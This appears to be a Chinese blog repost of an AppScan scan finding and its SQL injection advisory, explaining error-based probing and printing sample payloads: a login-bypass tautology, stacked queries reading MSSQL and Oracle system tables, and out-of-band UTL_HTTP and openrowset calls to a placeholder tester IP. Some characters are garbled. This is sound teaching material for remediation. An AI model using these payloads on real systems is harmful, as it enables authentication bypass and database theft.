標籤:
最近工作要求解決下web的項目的漏洞問題,掃描漏洞是用的AppScan工具,其中此篇文章是關於探索資料庫錯誤模式問題的。下面就把這塊東西分享出來。
原創文章,轉載請註明
-----------------------------------------正題-------------------------
測試類型:
應用程式層級測試
威脅分類:
SQL注入
原因:
未對使用者輸入正確執行危險字元清理
安全性風險:
可能會查看、修改或刪除資料庫條目和表
受影響產品:
該問題可能會影響各種類型的產品。
引用:
"Web Application Disassembly with ODBC Error Messages"(David Litchfield)
SQL Injection Training Module
技術描述:
AppScan 在測試響應中發現到“SQL 注入”以外的攻擊所觸發的“資料庫錯誤”。雖然不確定,但這個錯誤可能表示應用程式有“SQL 注入”漏洞。若是如此,請仔細閱讀下列“SQL 注入”諮詢:
Web 應用程式通常在後端使用資料庫,以與企業資料倉儲互動。查詢資料庫事實上的標準語言是 SQL(各大資料庫供應商都有自己的不同版本)。Web應用程式通常會擷取使用者輸入(取自 HTTP 要求),將它併入 SQL 查詢中,然後發送到後端資料庫。接著應用程式便處理查詢結果,有時會向使用者顯示結果。如果應用程式對使用者(攻擊者)的輸入處理不夠小心,攻擊者便可以利用這種操作方式。在此情況下,攻擊者可以注入惡意的資料,當該資料併入 SQL查詢中時,就將查詢的原始文法更改得面目全非。例如,如果應用程式使用使用者的輸入(如使用者名稱和密碼)來查詢使用者帳戶的資料庫表,以認證使用者,而攻擊者能夠將惡意資料注入查詢的使用者名稱部分(和/或密碼部分),查詢便可能更改成完全不同的資料複製查詢,可能是修改資料庫的查詢,或在資料庫伺服器上運行 Shell 命令的查詢。
一般而言,攻擊者會分步實現這個目標。他會先學習 SQL 查詢的結構,然後使用該知識來阻撓查詢(通過注入更改查詢文法的資料),使執行的查詢不同於預期。假設相關查詢是:
SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘
其中 $user 和 $pass 是使用者輸入(從調用構造查詢的指令碼的 HTTP 要求收集而來 - 可能是來自 GET 請求查詢參數,也可能是來自 POST 請求主體參數)。此查詢的一般用法,其值為:
$user=john、$password=secret123。形成的查詢如下:SELECT COUNT(*) FROM accounts WHERE
username=‘john‘ AND password=‘secret123‘
如果資料庫中沒有這個使用者密碼配對,預期的查詢結果便是 0,如果此類配對存在(也就是資料庫中有名稱為“john”的使用者,且其密碼
為“secret123”),結果便是 >0。這是應用程式的基本認證機制。但攻擊者可以用下列方式來更改此查詢:
1. 攻擊者可以提供單引號字元(‘)所組成的輸入,使資料庫發出錯誤訊息,其中通常包含關於 SQL 查詢的有價值的資訊。攻擊者只需在發送的請求中包含使用者值 ‘,並在密碼中包含任何值(如 foobar)。結果便是下列(格式錯誤)的 SQL 查詢:
SELECT COUNT(*) FROM accounts WHERE username=‘‘‘ AND password=‘foobar‘
這可能會產生以下錯誤訊息(取決於後端所使用的特定資料庫):查詢運算式 ‘username = ‘‘‘ AND password = ‘foobar‘‘ 中發生語法錯誤(遺漏運算子)。
這時攻擊者便得知查詢是根據運算式 username=‘$user‘ AND password=‘$pass‘ 來構建的。利用手邊的 SQL 查詢時需要這一關鍵資訊。攻擊者瞭解查詢的格式後,下一步只需使用:
user = ‘ or 1=1 or ‘‘=‘ password = foobar
產生的查詢如下:
SELECT COUNT(*) FROM accounts WHERE username=‘‘ or 1=1 or ‘‘=‘‘ AND password=‘foobar‘
這表示查詢(在 SQL 資料庫中)對於“accounts”表的每項記錄都會返回 TRUE,因為 1=1 運算式永遠為真。因此,查詢會返回“accounts”中的記錄數量,於是使用者(攻擊者)也會被視為有效。這個探測方法有若干變體,例如,發送 ‘? or \‘(您應該記住,幾乎所有供應商都有他們自己唯一的 SQL“版本”。具體地說,發送 ‘ having 1=1,也會建置錯誤訊息,此訊息會泄露有關列名稱的資訊。在某些情況下,使用者輸入不會併入字串上下文(用單引號括住),而是併入數字上下文,換言之,就是依現狀嵌入。因此,在這種情況下,可以使用輸入字串 1 having 1=1。
2. 在某些情況下,有可能將原始查詢替換為其他查詢。提早終止原始查詢(例如:使用單引號來結束字串上下文,用分號之類的查詢分隔字元來強制終止,然後撰寫新的查詢),便可以做到這一點。如果應用程式夠靈活,可以從已修改的查詢中接收(及顯示)資料(雖然不完全符合預期的資料),那麼就可以使用這項技術來下載各種資料庫表和記錄。即使應用程式處理從資料庫返回的意外資料的方式還不至於將該資料顯示出來,它仍可能在資料庫上運行惡意查詢(例如:更改表、刪除表,以及運行Shell 命令)。最後,在某些情況下,按一定方式設計惡意查詢,使所需資料依照應用程式預期的格式返回,便可得到所需資料。下列輸入字串可用來從資料庫的系統資料表中產生敏感資訊(這取決於應用程式處理返回的查詢結果的方式):
‘? select @@version,1,1,1(MSSQL資料庫 - 返回資料庫版本)
‘? select * from master..sysmessages(MSSQL資料庫 - 返回系統資訊)
‘? select * from dbo.sysdatabases(MSSQL資料庫 - 返回資料庫伺服器所管理的資料庫名稱)
‘? select * from sys.dba_users(Oracle 資料庫 - 返回資料庫使用者名稱)
由此可見,如果使用者輸入未經清理(也就是確保字串資料不含 ‘ 或 " - 這些字元必須編碼/轉義,且必須確保數字/布爾型或其他類型化資料的格式適當),攻擊者便可以使用這個情況來操縱資料庫。在 Oracle 測試變體中,由強制 Oracle 資料庫利用 UTL_HTTP 程式包建立從 Oracle 伺服器返回測試機器的 HTTP 串連來驗證 SQL 注入。發送的注入有效內容是:
‘ || UTL_HTTP.REQUEST(‘http://IP_Address:80/SQL_Injection_Validation‘) || ‘
假設原始 SQL 查詢是:SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘,在 SQL 注入測試期間實際的 SQL查詢是:
SELECT COUNT(*) FROM accounts WHERE username=‘‘ || UTL_HTTP.REQUES ‘http://IP_Address:80/SQL_Injection_Validation‘) || ‘‘ AND password=‘$pass‘
當運行此 SQL 查詢時,Oracle 伺服器會執行 UTL_HTTP.REQUEST 進入點,這個進入點會聯絡測試機器,通過 HTTP 來請求
‘/SQL_Injection_Validation‘ 檔案。
注意:為了能夠適當驗證這項測試,在 Oracle 伺服器和測試機器之間,必須能夠建立直接的 TCP 串連。在 MS SQL 連接埠接聽程式測試變體中,也使用類似的方法。發送的注入有效內容是:
‘? select * from openrowset(‘sqloledb‘,‘Network=DBMSSOCN?Address=IP_Address,9999?uid=myUsr?pwd=myPass‘,‘select foo from bar‘)
假設原始 SQL 查詢是:SELECT COUNT(*) FROM accounts WHERE username=‘$user‘ AND password=‘$pass‘,在 SQL 注入期間,實際的 SQL 查詢是:
SELECT COUNT(*) FROM accounts WHERE username=‘‘? select * from openrowset(‘sqloledb‘,‘Network=DBMSSOCN?Address=
[IP_Address],9999?uid=myUsr?pwd=myPass‘,‘select foo from bar‘)‘ AND password=‘$pass‘
當運行這個 SQL 查詢時,MS SQL 伺服器會在 9999 連接埠上建立指向 [IP_Address] 的串連,這是 openrowset() 的執行結果。
注意:為了能夠適當驗證這項測試,在 MS SQL 伺服器和測試機器之間,必須能夠建立直接的 TCP 串連。
探索資料庫錯誤模式(AppScan掃描結果)